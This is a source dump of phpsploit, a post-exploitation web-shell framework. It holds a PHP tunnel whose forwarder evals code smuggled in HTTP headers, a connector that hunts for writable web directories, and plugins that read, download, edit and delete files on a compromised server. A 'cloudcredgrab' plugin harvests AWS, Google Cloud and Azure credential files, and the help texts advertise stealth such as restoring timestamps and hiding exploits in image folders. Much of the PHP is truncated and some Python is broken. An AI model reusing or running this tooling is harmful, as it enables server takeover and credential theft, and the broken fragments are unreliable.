import sys 32 | 33 | # phpsploit framework modules 34 | import api 35 | 36 | 37 | print(" ".join(api.plugin.argv)) 38 | sys.exit() 39 | -------------------------------------------------------------------------------- /data/quotes.lst: -------------------------------------------------------------------------------- 1 | All roads lead to r00t... 2 | A PHP oneliner to bring them all... 3 | Hack the Gibson ! 4 | PhpSploit Phor Phun and Prophit 5 | The nail that sticks out gets hammered down... 6 | Details make perfection, and perfection is not a detail 7 | Computer Science is no more about computers than astronomy is about telescopes 8 | You are Not Expected to Understand This 9 | -------------------------------------------------------------------------------- /data/tunnel/connector.php: -------------------------------------------------------------------------------- 1 | <", "dkdk"); 22 | if (@file_exists($t)) 23 | @unlink($t); 24 | $t = @dirname($t); 25 | } 26 | } 27 | return ($t); 28 | } 29 | 30 | 31 | // $R: 32 | // raw array of variables returned by the connector. 33 | // This array shall contain enough informations to 34 | // determine tunnel environment variables that 35 | // will be used by phpsploit for the created tunnel. 36 | $R = $_SERVER; 37 | 38 | $R['PHP_OS'] = PHP_OS; 39 | $R['PHP_VERSION'] = PHP_VERSION; 40 | 41 | // Determine WEB_ROOT environment variable 42 | $R['WEB_ROOT'] = $R['DOCUMENT_ROOT']; 43 | if (!$R['WEB_ROOT']) 44 | $R['WEB_ROOT'] = $R['APPL_PHYSICAL_PATH']; 45 | 46 | if (!$R['WEB_ROOT']) 47 | { 48 | $rel = $R['SCRIPT_NAME']; 49 | $abs = $R['SCRIPT_FILENAME']; 50 | if (!$rel || !$abs) 51 | { 52 | $rel = $R['PATH_INFO']; 53 | $abs = $R['PATH_TRANSLATED']; 54 | } 55 | if ($rel && $abs) 56 | { 57 | foreach (Array("\\\\", "\\", "/") as $sep) 58 | { 59 | $tmp = str_replace("/", $sep, $rel); 60 | $len = strlen($tmp); 61 | if($tmp == substr($abs, -$len)) 62 | $R['WEB_ROOT'] = substr($abs, 0, -$len); 63 | } 64 | } 65 | } 66 | 67 | if (($x = @realpath($R['WEB_ROOT'])) !== False) 68 | $R['WEB_ROOT'] = $x; 69 | 70 | 71 | // Determine WRITEABLE_WEBDIR. 72 | // This code recursively browses subdirectories, 73 | // starting with the WEB_ROOT, and searching for the 74 | // writeable path which is the closest to WER_BOOT. 75 | $MAX_RECURSION = 6; 76 | $dir_list = Array($R['WEB_ROOT']); 77 | $R['WRITEABLE_WEBDIR'] = ''; 78 | for ($recursion = 1; $recursion <= $MAX_RECURSION; $recursion++) 79 | { 80 | foreach ($dir_list as $dir) 81 | { 82 | if (dirAccess($dir, 'w')){ 83 | $R['WRITEABLE_WEBDIR'] = @realpath($dir); 84 | break (2); 85 | } 86 | } 87 | if ($recursion == $MAX_RECURSION) 88 | break; 89 | $parent_dir_list = $dir_list; 90 | $dir_list = Array(); 91 | foreach ($parent_dir_list as $dir) 92 | { 93 | if ($h = @opendir($dir)) 94 | { 95 | while (($elem = readdir($h)) !== FALSE) 96 | { 97 | if ($elem != '.' && $elem != '..') 98 | { 99 | if ((@fileperms($dir.'/'.$elem) & 0x4000) == 0x4000) 100 | { 101 | $dir_list[]=$dir.'/'.$elem; 102 | } 103 | } 104 | } 105 | closedir($h); 106 | } 107 | } 108 | } 109 | 110 | 111 | $tmp = get_tmp_dir(); 112 | $R['WRITEABLE_TMPDIR'] = (dirAccess($tmp,'w')) ? $tmp : $R['WRITEABLE_WEBDIR']; 113 | 114 | 115 | return $R; 116 | 117 | ?> 118 | -------------------------------------------------------------------------------- /data/tunnel/encapsulator.php: -------------------------------------------------------------------------------- 1 | $val) 6 | { 7 | if ($val["access"] & 1) 8 | $orig_conf[$key] = $val["local_value"]; 9 | else 10 | unset($orig_conf[$key]); 11 | } 12 | 13 | // %%PAYLOAD%% is replaced by $PAYLOAD_PREFIX configuration setting. 14 | // This feature allows executing something in php each time the 15 | // payload is executed, because any sent request is encapsulated 16 | // through this file. 17 | %%PAYLOAD_PREFIX%% 18 | 19 | // container for dynamic input variables, transmitted from plugins 20 | // at python side (plugin.py files). 21 | $PHPSPLOIT = array(); 22 | 23 | // allows php-side plugins to use `return error("something")` 24 | // with a printf()-like flavour. 25 | // This is the correct way to inform the framework that output 26 | // is an error message. 27 | function error($a='', $b=False, $c=False, $d=False, $e=False) 28 | { 29 | return (array('__ERROR__' => sprintf($a, $b, $c, $d, $e))); 30 | } 31 | 32 | // %%PAYLOAD%% is replaced by the dynamically built payload 33 | // before each remote plugin execution. 34 | function payload() 35 | { 36 | %%PAYLOAD%% 37 | } 38 | 39 | // handle payload result and output it's gzipped content. 40 | $result = payload(); 41 | if (! is_array($result) || array_keys($result) !== array('__ERROR__')) 42 | $result = array('__RESULT__' => $result); 43 | echo gzcompress(serialize($result)); 44 | 45 | // restore backed php configuration state. 46 | foreach ($orig_conf as $key => $val) 47 | @ini_set($key, $val); 48 | 49 | ?> 50 | -------------------------------------------------------------------------------- /data/tunnel/forwarders/get.php: -------------------------------------------------------------------------------- 1 | $b)if(substr($a,0,7)=='HTTP_ZZ')$x.=$b;eval(%s); 4 | 5 | ?> 6 | -------------------------------------------------------------------------------- /data/tunnel/forwarders/post.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /data/tunnel/multipart/reader.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /data/tunnel/multipart/sender.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /data/tunnel/multipart/starter.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /data/tunnel/payload_prefix.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /data/user_agents.lst: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 2 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 3 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 4 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 5 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 6 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 7 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 8 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 9 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 10 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56 11 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-minimal -------------------------------------------------------------------------------- /man/README: -------------------------------------------------------------------------------- 1 | # Brief description of current directory files 2 | 3 | ./man.txt2tags 4 | ============== 5 | Manually editable text file, designed to be converted into standard 6 | man page through `./update-man.sh`. 7 | It uses txt2tags markup syntax. 8 | 9 | 10 | ./update-man.sh 11 | =============== 12 | Generate 'phpsploit.1' and 'phpsploit.txt' from 'man.txt2tags'. 13 | 14 | 15 | ./phpsploit.1 16 | ============= 17 | Man page generated by `./update-man.sh` 18 | (do not edit by hand !) 19 | 20 | 21 | ./phpsploit.txt 22 | =============== 23 | Textual man page generated by `./update-man.sh` 24 | (do not edit by hand !) 25 | -------------------------------------------------------------------------------- /man/update-man.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | cd $(dirname $0) 5 | 6 | man_file="phpsploit.1" 7 | man_txt_file="phpsploit.txt" 8 | 9 | txt2tags -q -t man \ 10 | -i man.txt2tags \ 11 | -o "$man_file" 12 | echo "[+] Man page created at: $(readlink -f $man_file)" 13 | 14 | 15 | MANWIDTH=80 man \ 16 | -P cat "./$man_file" \ 17 | > "$man_txt_file" 18 | echo "[+] Text man page created at: $(readlink -f $man_file)" 19 | -------------------------------------------------------------------------------- /plugins/active_directory/ldap/list.php: -------------------------------------------------------------------------------- 1 | &$val) { 38 | if(!is_array($val)) { 39 | if(!ctype_print($val)) { 40 | $val = base64_encode($val); 41 | } 42 | } else { 43 | clearNode($val); 44 | } 45 | } 46 | } 47 | 48 | clearNode($datas); 49 | 50 | return $datas; 51 | ?> -------------------------------------------------------------------------------- /plugins/active_directory/ldap/search.php: -------------------------------------------------------------------------------- 1 | &$val) { 39 | if(!is_array($val)) { 40 | if(!ctype_print($val)) { 41 | $val = base64_encode($val); 42 | } 43 | } else { 44 | clearNode($val); 45 | } 46 | } 47 | } 48 | 49 | clearNode($datas); 50 | 51 | return $datas; 52 | ?> -------------------------------------------------------------------------------- /plugins/credentials/cloudcredgrab/payload.php: -------------------------------------------------------------------------------- 1 | 48 | -------------------------------------------------------------------------------- /plugins/credentials/cloudcredgrab/plugin.py: -------------------------------------------------------------------------------- 1 | """Cloud Credential Hunter-Grabber 2 | 3 | SYNOPSIS: 4 | cloudcredgrab [-u ] [aws|google|azure] 5 | 6 | DESCRIPTION: 7 | Hunts for cloud credentials cached on the system 8 | by looking in user's directory 9 | 10 | EXAMPLES: 11 | > cloudcredgrab 12 | - look for all cloud credentials in all user directories 13 | > cloudcredgrab -u www aws 14 | - look for AWS credentials in www's user files 15 | 16 | AUTHOR: 17 | Jose 18 | """ 19 | 20 | import itertools 21 | 22 | from api import plugin 23 | from api import server 24 | from api import environ 25 | 26 | from ui.color import colorize 27 | import plugin_args 28 | 29 | opt = plugin_args.parse(plugin.argv[1:]) 30 | 31 | UNIX_FILES = {'aws': ['.aws/credentials', ], 32 | 'google': ['.config/gcloud/legacy_credentials', 33 | '.config/gcloud/credentials.db', 34 | '.config/gcloud/access_tokens.db'], 35 | 'azure': ['.azure/accessTokens.json', 36 | '.azure/azureProfile.json']} 37 | WINDOWS_FILES = {'aws': [".aws\\credentials",], 38 | 'google': ["\\AppData\\Roaming\\gcloud\\legacy_credentials", 39 | "\\AppData\\Roaming\\gcloud\\credentials.db", 40 | "\\AppData\\Roaming\\gcloud\\access_tokens.db"], 41 | 'azure': [".azure\\accessTokens.json", ".azure\\azureProfile.json"]} 42 | 43 | if environ['PLATFORM'].startswith("win"): 44 | FILES = WINDOWS_FILES 45 | else: 46 | FILES = UNIX_FILES 47 | 48 | if opt["platform"]: 49 | SEARCH_FOR = FILES[opt["platform"]] 50 | else: 51 | SEARCH_FOR = list(itertools.chain.from_iterable(FILES.values())) 52 | 53 | # Send payload 54 | payload = server.payload.Payload("payload.php") 55 | payload['USER'] = opt['user'] or "all" 56 | payload['SEARCH_FOR'] = SEARCH_FOR 57 | 58 | result = payload.send() 59 | 60 | if len(results) < 1: 61 | print(colorize("%Red", "[-] No results found")) 62 | else: 63 | for filename in results: 64 | print(colorize("%Green", "[+] Found {0}".format(filename))) 65 | -------------------------------------------------------------------------------- /plugins/credentials/cloudcredgrab/plugin_args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import ui.output 3 | 4 | 5 | def help_format_cloudcredgrab(prog): 6 | kwargs = dict() 7 | kwargs['width'] = ui.output.columns() 8 | kwargs['max_help_position'] = 34 9 | format = argparse.HelpFormatter(prog, **kwargs) 10 | return (format) 11 | 12 | def parse(args): 13 | parser = argparse.ArgumentParser(prog="cloudcredgrab", add_help=False, usage=argparse.SUPPRESS) 14 | parser.formatter_class = help_format_cloudcredgrab 15 | parser.add_argument('-u', '--username', 16 | metavar="", default=None) 17 | parser.add_argument('platform') 18 | options = vars(parser.parse_args(args)) 19 | -------------------------------------------------------------------------------- /plugins/file_system/cat/payload.php: -------------------------------------------------------------------------------- 1 | 31 | -------------------------------------------------------------------------------- /plugins/file_system/cat/plugin.py: -------------------------------------------------------------------------------- 1 | r"""Print a file content on standard output 2 | 3 | SYNOPSIS: 4 | cat 5 | 6 | DESCRIPTION: 7 | Print REMOTE-FILE content on standard output. 8 | 9 | LIMITATIONS: 10 | Unlike the standard GNU's 'cat' tool, multiple files cat 11 | is not supported. 12 | 13 | EXAMPLES: 14 | > cat ../includes/connect.inc.php 15 | - Display the connect.inc.php's content. 16 | > cat "C:\Users\granny\Desktop\bank account.TXT" 17 | - Don't be evil with grannies! 18 | - As gannies use spaces in file names, the path 19 | must be quoted to be parsed as a single argument. 20 | 21 | AUTHOR: 22 | nil0x42 23 | """ 24 | 25 | import sys 26 | import base64 27 | 28 | from core import encoding 29 | 30 | from api import plugin 31 | from api import server 32 | 33 | if len(plugin.argv) != 2: 34 | sys.exit(plugin.help) 35 | 36 | relative_path = plugin.argv[1] 37 | absolute_path = server.path.abspath(relative_path) 38 | 39 | payload = server.payload.Payload("payload.php") 40 | payload['FILE'] = absolute_path 41 | 42 | response = payload.send() 43 | 44 | data = encoding.decode(base64.b64decode(response)) 45 | print(data) 46 | -------------------------------------------------------------------------------- /plugins/file_system/cd/payload.php: -------------------------------------------------------------------------------- 1 | 23 | -------------------------------------------------------------------------------- /plugins/file_system/cd/plugin.py: -------------------------------------------------------------------------------- 1 | r"""Change directory 2 | 3 | SYNOPSIS: 4 | cd [] 5 | 6 | DESCRIPTION: 7 | Change current working directory of phpsploit target. 8 | 9 | - This plugin checks if the given path is remotely 10 | reachable, then changes $PWD environment variable if 11 | no errors were found. 12 | - If run without argument, $HOME env var is used as 13 | new current working directory. 14 | 15 | EXAMPLES: 16 | > cd .. 17 | - Go to the directory below 18 | > cd "C:\Program Files\" 19 | - Go to "Program Files" directory 20 | > cd ~ 21 | - Move the the user's HOME directory 22 | 23 | ENVIRONMENT: 24 | * PWD 25 | The current remote working directory 26 | 27 | WARNING: 28 | - Manual edition of the $PWD environment variable without using 29 | this plugin is usually a bad idea, because we take the risk 30 | to set it to an invalid location, without the checks done by 31 | this plugin. 32 | - Therefore, in a few use cases, manual edition of the $PWD 33 | variable is the only option. 34 | 35 | AUTHOR: 36 | nil0x42 37 | """ 38 | 39 | import sys 40 | 41 | from api import plugin 42 | from api import server 43 | from api import environ 44 | 45 | if len(plugin.argv) > 2: 46 | sys.exit(plugin.help) 47 | 48 | if len(plugin.argv) == 2: 49 | relative_path = plugin.argv[1] 50 | else: 51 | relative_path = environ['HOME'] 52 | 53 | absolute_path = server.path.abspath(relative_path) 54 | 55 | payload = server.payload.Payload("payload.php") 56 | payload['DIR'] = absolute_path 57 | 58 | response = payload.send() 59 | 60 | if response != "ok": 61 | sys.exit("Unexpected response: %r" % response) 62 | 63 | # change $PWD phpsploit environment variable 64 | environ['PWD'] = absolute_path 65 | -------------------------------------------------------------------------------- /plugins/file_system/chmod/payload.php: -------------------------------------------------------------------------------- 1 | 12 | -------------------------------------------------------------------------------- /plugins/file_system/chmod/plugin.py: -------------------------------------------------------------------------------- 1 | r"""Change file mode bits 2 | 3 | SYNOPSIS: 4 | chmod [MODE] 5 | 6 | DESCRIPTION: 7 | The mode parameter consists of three octal number components 8 | specifying access restrictions for the owner, the user group 9 | in which the owner is in, and to everybody else in this order. 10 | 11 | One component can be computed by adding up the needed permissions 12 | for that target user base. Number 1 means that you grant execute 13 | rights, number 2 means that you make the file writeable, 14 | number 4 means that you make the file readable. 15 | Add up these numbers to specify needed rights. 16 | 17 | You can also read more about modes on Unix systems with 'man chmod'. 18 | 19 | EXAMPLES: 20 | > chmod 755 ../cgi-bin/test.cgi 21 | - Set chmod 755 to test.cgi 22 | > chmod 4222 /tmp/sploit 23 | - Grant execution and setuid bit on file 24 | 25 | AUTHOR: 26 | nil0x42 27 | """ 28 | 29 | import sys 30 | 31 | from api import plugin 32 | from api import server 33 | 34 | if len(plugin.argv) != 3: 35 | sys.exit(plugin.help) 36 | 37 | try: 38 | mode = int(plugin.argv[1], 8) 39 | assert mode < 0o10000 40 | except: 41 | sys.exit("invalid mode: '%s'" % plugin.argv[1]) 42 | 43 | relative_path = plugin.argv[2] 44 | absolute_path = server.path.abspath(relative_path) 45 | 46 | payload = server.payload.Payload("payload.php") 47 | payload['FILE'] = absolute_path 48 | payload['MODE'] = mode 49 | 50 | response = payload.send() 51 | 52 | assert response == 'ok' 53 | -------------------------------------------------------------------------------- /plugins/file_system/cp/payload.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | OPTIONS: 7 | -f 8 | overwrite REMOTE-DESTINATION without user confirmation. 9 | 10 | DESCRIPTION: 11 | Copy a remote file to another remote destination. 12 | - REMOTE-FILE must be readable. 13 | - REMOTE-DESTINATION must be a writable file or directory. 14 | - If REMOTE-DESTINATION is a directory, REMOTE-FILE will 15 | be copied into it, preserving original file name. 16 | - Unless '-f' option has been provided, user confirmation is 17 | needed to overwrite REMOTE-DESTINATION (if it already exists). 18 | 19 | LIMITATIONS: 20 | Unlike the standard GNU's 'cp' tool, recursive directory 21 | and multiple file copy are not available. 22 | 23 | EXAMPLES: 24 | > cp -f exploit.php ../images/archive/IMG0043.PHP 25 | - Copy an exploit to a stealth location, force copy. 26 | > cp \Bach\LOG\ex191213.zip C:\intepub\wwwroot\x.zip 27 | - Copy this interesting file to a web accessible path. 28 | 29 | AUTHOR: 30 | nil0x42 31 | """ 32 | 33 | import sys 34 | 35 | from api import plugin 36 | from api import server 37 | 38 | argc = len(plugin.argv) 39 | 40 | if argc not in [3, 4]: 41 | sys.exit(plugin.help) 42 | 43 | payload = server.payload.Payload("payload.php") 44 | payload['FORCE'] = 0 45 | 46 | src_arg, dst_arg, arglen = [1, 2, argc] 47 | if plugin.argv[1] == '-f': 48 | payload['FORCE'] = 1 49 | src_arg, dst_arg, arglen = [2, 3, (argc - 1)] 50 | 51 | if arglen != 3: 52 | sys.exit(plugin.help) 53 | 54 | payload['SRC'] = server.path.abspath(plugin.argv[src_arg]) 55 | payload['DST'] = server.path.abspath(plugin.argv[dst_arg]) 56 | 57 | src, dst = payload.send() 58 | 59 | print("Copy complete: '%s' -> '%s'" % (src, dst)) 60 | -------------------------------------------------------------------------------- /plugins/file_system/download/payload.php: -------------------------------------------------------------------------------- 1 | 19 | -------------------------------------------------------------------------------- /plugins/file_system/download/plugin.py: -------------------------------------------------------------------------------- 1 | r"""Download a remote file 2 | 3 | SYNOPSIS: 4 | download [-f] [] 5 | 6 | OPTIONS: 7 | -f 8 | overwrite LOCAL-PATH without user confirmation. 9 | 10 | DESCRIPTION: 11 | Download a remote file to your local system. 12 | - REMOTE-FILE must be readable. 13 | - LOCAL-PATH must be a writable file or directory. 14 | - If LOCAL-PATH is a directory, REMOTE-FILE will be downloaded 15 | into it, preserving original file name. 16 | - if LOCAL-PATH is not provided, REMOTE-FILE is downloaded 17 | to attacker's current working directory (which can be known 18 | with `lrun pwd` command). 19 | - Unless '-f' option has been provided, user confirmation is 20 | needed to overwrite LOCAL-PATH (if it already exists). 21 | 22 | LIMITATIONS: 23 | Recursive directory and multiple file downloads are not available. 24 | 25 | EXAMPLES: 26 | > download C:\boot.ini /tmp/pentest/ 27 | - Download the remote boot.ini file into your local dir 28 | > download -f /etc/passwd ./hacked-etcpasswd.txt 29 | - Download the current remote passwd file and force copy 30 | > download /srv/www/inc/sql.php 31 | - Download the sql.php file to the current local directory 32 | 33 | AUTHOR: 34 | nil0x42 35 | """ 36 | 37 | import sys 38 | import os 39 | import base64 40 | 41 | import utils 42 | import ui.input 43 | from datatypes import Path 44 | 45 | from api import plugin 46 | from api import server 47 | 48 | if not 2 <= len(plugin.argv) <= 4: 49 | sys.exit(plugin.help) 50 | 51 | 52 | if plugin.argv[1] == "-f": 53 | force = True 54 | arg1 = 2 55 | arg2 = 3 56 | arglen = len(plugin.argv) - 1 57 | else: 58 | force = False 59 | arg1 = 1 60 | arg2 = 2 61 | arglen = len(plugin.argv) 62 | 63 | relpath = plugin.argv[arg1] 64 | 65 | if arglen == 3: 66 | local_relpath = plugin.argv[arg2] 67 | else: 68 | local_relpath = os.getcwd() 69 | 70 | abspath = server.path.abspath(relpath) 71 | local_abspath = utils.path.truepath(local_relpath) 72 | local_dirname = local_abspath 73 | local_basename = server.path.basename(abspath) 74 | 75 | if not os.path.isdir(local_dirname): 76 | local_dirname = os.path.dirname(local_dirname) 77 | if os.path.isdir(local_dirname): 78 | local_basename = os.path.basename(local_abspath) 79 | else: 80 | sys.exit("%s: Invalid local directory" % local_dirname) 81 | 82 | try: 83 | Path(local_dirname, mode='w') 84 | except ValueError: 85 | sys.exit("%s: Local directory not writable" % local_dirname) 86 | 87 | local_abspath = os.path.join(local_dirname, local_basename) 88 | 89 | if not force and os.path.exists(local_abspath): 90 | if os.path.isfile(local_abspath): 91 | question = "Local destination %s already exists, overwrite it ?" 92 | if ui.input.Expect(False)(question % local_abspath): 93 | sys.exit("File transfer aborted") 94 | else: 95 | sys.exit("Local destination %s already exists" % local_abspath) 96 | 97 | payload = server.payload.Payload("payload.php") 98 | payload['FILE'] = abspath 99 | 100 | response = payload.send() 101 | 102 | file = Path(local_abspath) 103 | try: 104 | file.write(base64.b64decode(response), bin_mode=True) 105 | except ValueError as err: 106 | sys.exit("Couldn't download file to %s: %s" % (local_abspath, err)) 107 | 108 | print("[*] Download complete: %s -> %s" % (abspath, local_abspath)) 109 | -------------------------------------------------------------------------------- /plugins/file_system/edit/plugin.py: -------------------------------------------------------------------------------- 1 | r"""Edit a remote file with local text editor 2 | 3 | SYNOPSIS: 4 | edit 5 | 6 | DESCRIPTION: 7 | Open and Edit REMOTE-FILE content with your favorite editor. 8 | 9 | - After editing the file (and only if it changed), the plugin 10 | uploads the new file content to the remote server. 11 | 12 | - After applying changes to remote file, the plugin automatically 13 | restores it's original timestamp to improve stealth. 14 | 15 | * Change default phpsploit text editor (vim rocks): 16 | > set EDITOR "vim" 17 | 18 | EXAMPLES: 19 | > edit ../includes/connect.inc.php 20 | - Open remote file within local text EDITOR 21 | 22 | AUTHOR: 23 | nil0x42 24 | """ 25 | 26 | import sys 27 | import base64 28 | 29 | from api import plugin 30 | from api import server 31 | 32 | from datatypes import Path 33 | 34 | if len(plugin.argv) != 2: 35 | sys.exit(plugin.help) 36 | 37 | absolute_path = server.path.abspath(plugin.argv[1]) 38 | path_filename = server.path.basename(absolute_path) 39 | 40 | reader = server.payload.Payload("reader.php") 41 | reader['FILE'] = absolute_path 42 | 43 | # send the crafted payload to get remote file contents 44 | reader_response = reader.send() 45 | 46 | file = Path(filename=path_filename) 47 | 48 | if reader_response == "NEW_FILE": 49 | file_mtime = None 50 | print("[*] Creating new file: %s" % absolute_path) 51 | else: 52 | # writting bytes() obj to file in binary mode 53 | file_mtime, file_data = reader_response 54 | file.write(base64.b64decode(file_data), bin_mode=True) 55 | 56 | modified = file.edit() 57 | if not modified: 58 | if reader_response == "NEW_FILE": 59 | sys.exit("File creation aborted") 60 | else: 61 | sys.exit("The file was not modified") 62 | 63 | writer = server.payload.Payload("writer.php") 64 | writer['FILE'] = absolute_path 65 | writer['DATA'] = base64.b64encode(file.read(bin_mode=True)).decode() 66 | writer['MTIME'] = file_mtime 67 | 68 | writer_response = writer.send() 69 | 70 | if writer_response == "MTIME_FAILED": 71 | print("[-] %s: Could not set MTIME to %r" % (plugin.argv[0], file_mtime)) 72 | 73 | print("[*] File correctly written at %s" % absolute_path) 74 | -------------------------------------------------------------------------------- /plugins/file_system/edit/reader.php: -------------------------------------------------------------------------------- 1 | 22 | -------------------------------------------------------------------------------- /plugins/file_system/edit/writer.php: -------------------------------------------------------------------------------- 1 | 23 | -------------------------------------------------------------------------------- /plugins/file_system/ls/payload.php: -------------------------------------------------------------------------------- 1 | 78 | -------------------------------------------------------------------------------- /plugins/file_system/mkdir/parent.php: -------------------------------------------------------------------------------- 1 | 31 | -------------------------------------------------------------------------------- /plugins/file_system/mkdir/payload.php: -------------------------------------------------------------------------------- 1 | 24 | -------------------------------------------------------------------------------- /plugins/file_system/mkdir/plugin.py: -------------------------------------------------------------------------------- 1 | """Create directory 2 | 3 | SYNOPSIS: 4 | mkdir [-p] 5 | 6 | OPTIONS: 7 | -p 8 | no error if existing, make parent directories as needed. 9 | 10 | DESCRIPTION: 11 | The 'mkdir' plugin creates REMOTE-DIRECTORY. It reports 12 | an error if it already exists. 13 | - Unless '-p' option is provided, parent directory must exist. 14 | 15 | LIMITATIONS: 16 | Unlike GNU's mkdir core util, this plugin does not support 17 | multiple path arguments. 18 | 19 | EXAMPLES: 20 | > mkdir includes 21 | - Create the 'includes' directory from current location 22 | > mkdir /srv/www/data/img/thumb/ 23 | - Create the 'thumb' directory if it's parent exists 24 | > mkdir /srv/www/data/img/thumb/ 25 | - Create the 'thumb' directory even if parent don't exist 26 | > mkdir -p /var/www/a/b/c/d/e/f/g/h/ 27 | - Create 'h/' directory, and parent directories as needed. 28 | 29 | AUTHOR: 30 | nil0x42 31 | """ 32 | 33 | import sys 34 | 35 | from api import plugin 36 | from api import server 37 | from api import environ 38 | 39 | if len(plugin.argv) == 2 and plugin.argv[1] != '-p': 40 | relpath = plugin.argv[1] 41 | elif len(plugin.argv) == 3 and plugin.argv[1] == '-p': 42 | relpath = plugin.argv[2] 43 | else: 44 | sys.exit(plugin.help) 45 | 46 | abspath = server.path.abspath(relpath) 47 | 48 | if plugin.argv[1] == '-p': 49 | payload = server.payload.Payload("parent.php") 50 | drive, path = server.path.splitdrive(abspath) 51 | payload['DRIVE'] = drive 52 | payload['PATH_ELEMS'] = [x for x in path.split(environ['PATH_SEP']) if x] 53 | else: 54 | payload = server.payload.Payload("payload.php") 55 | payload['DIR'] = abspath 56 | 57 | payload.send() 58 | -------------------------------------------------------------------------------- /plugins/file_system/pwd/plugin.py: -------------------------------------------------------------------------------- 1 | """Print working directory 2 | 3 | SYNOPSIS: 4 | pwd 5 | 6 | DESCRIPTION: 7 | Print the absolute path name of current/working remote 8 | directory on target server. 9 | 10 | * PASSIVE PLUGIN: 11 | No requests are sent to server, as current directory 12 | is known by $PWD environment variable (`env PWD`) 13 | 14 | AUTHOR: 15 | nil0x42 16 | """ 17 | 18 | from api import environ 19 | 20 | print(environ['PWD']) 21 | -------------------------------------------------------------------------------- /plugins/file_system/rm/plugin.py: -------------------------------------------------------------------------------- 1 | """Remove a file 2 | 3 | SYNOPSIS: 4 | rm 5 | 6 | DESCRIPTION: 7 | Remove REMOTE FILE from server. 8 | 9 | LIMITATIONS: 10 | Unlike the standard GNU's 'rm' tool, recursive 11 | and multiple file removal are not available. 12 | 13 | EXAMPLES: 14 | > rm pdfs/r57.php 15 | - Remove "./pdfs/r75.php" file from remote server 16 | 17 | AUTHOR: 18 | nil0x42 19 | """ 20 | 21 | import sys 22 | 23 | from api import plugin 24 | from api import server 25 | 26 | if len(plugin.argv) not in [2, 3]: 27 | sys.exit(plugin.help) 28 | 29 | recurse = 0 30 | 31 | if plugin.argv[1] == "-r": 32 | if len(plugin.argv) == 2: 33 | sys.exit(plugin.help) 34 | recurse = 1 35 | rel_path = plugin.argv[2] 36 | else: 37 | if len(plugin.argv) == 3: 38 | sys.exit(plugin.help) 39 | rel_path = plugin.argv[1] 40 | 41 | abs_path = server.path.abspath(rel_path) 42 | dirname = server.path.dirname(abs_path) 43 | basename = server.path.basename(abs_path) 44 | 45 | if recurse: 46 | sys.exit("Recursive mode is not yet available.") 47 | 48 | payload = server.payload.Payload("single.php") 49 | payload["FILE"] = abs_path 50 | 51 | payload.send() 52 | -------------------------------------------------------------------------------- /plugins/file_system/rm/single.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /plugins/file_system/rmdir/payload.php: -------------------------------------------------------------------------------- 1 | 21 | -------------------------------------------------------------------------------- /plugins/file_system/rmdir/plugin.py: -------------------------------------------------------------------------------- 1 | """Remove empty directory 2 | 3 | SYNOPSIS: 4 | rmdir 5 | 6 | DESCRIPTION: 7 | Remove REMOTE-DIRECTORY if it is empty. 8 | 9 | AUTHOR: 10 | nil0x42 11 | """ 12 | 13 | import sys 14 | 15 | from api import plugin 16 | from api import server 17 | 18 | if len(plugin.argv) != 2: 19 | sys.exit(plugin.help) 20 | 21 | rel_path = plugin.argv[1] 22 | abs_path = server.path.abspath(rel_path) 23 | 24 | payload = server.payload.Payload("payload.php") 25 | payload["DIR"] = abs_path 26 | 27 | payload.send() 28 | -------------------------------------------------------------------------------- /plugins/file_system/stat/payload.php: -------------------------------------------------------------------------------- 1 | '" . $link_path . "'"; 17 | 18 | if ($follow_links && is_link($path)) 19 | { 20 | $path = realpath($path); 21 | if (!@file_exists($path)) 22 | return error("%s: No such file or directory", $PHPSPLOIT['FILE']); 23 | } 24 | 25 | // r['stat'] 26 | @clearstatcache(); 27 | if (!($r = @lstat($path))) 28 | return error("%s: Permission denied", $PHPSPLOIT['FILE']); 29 | 30 | if (is_dir($path)) 31 | { 32 | $r["readable"] = dirAccess($path, 'r') ? "Yes" : "No"; 33 | $r["writable"] = dirAccess($path, 'w') ? "Yes" : "No"; 34 | } 35 | else 36 | { 37 | $r["readable"] = fileAccess($path, 'r') ? "Yes" : "No"; 38 | $r["writable"] = fileAccess($path, 'w') ? "Yes" : "No"; 39 | } 40 | 41 | $r["file_repr"] = $file_repr; 42 | 43 | $r["atime"] = date("Y-m-d H:i:s O", $r["atime"]); 44 | $r["mtime"] = date("Y-m-d H:i:s O", $r["mtime"]); 45 | $r["ctime"] = date("Y-m-d H:i:s O", $r["ctime"]); 46 | 47 | if (can_change_mtime($path)) 48 | $r["mtime"] .= " [MUTABLE!]"; 49 | else 50 | $r["mtime"] .= " 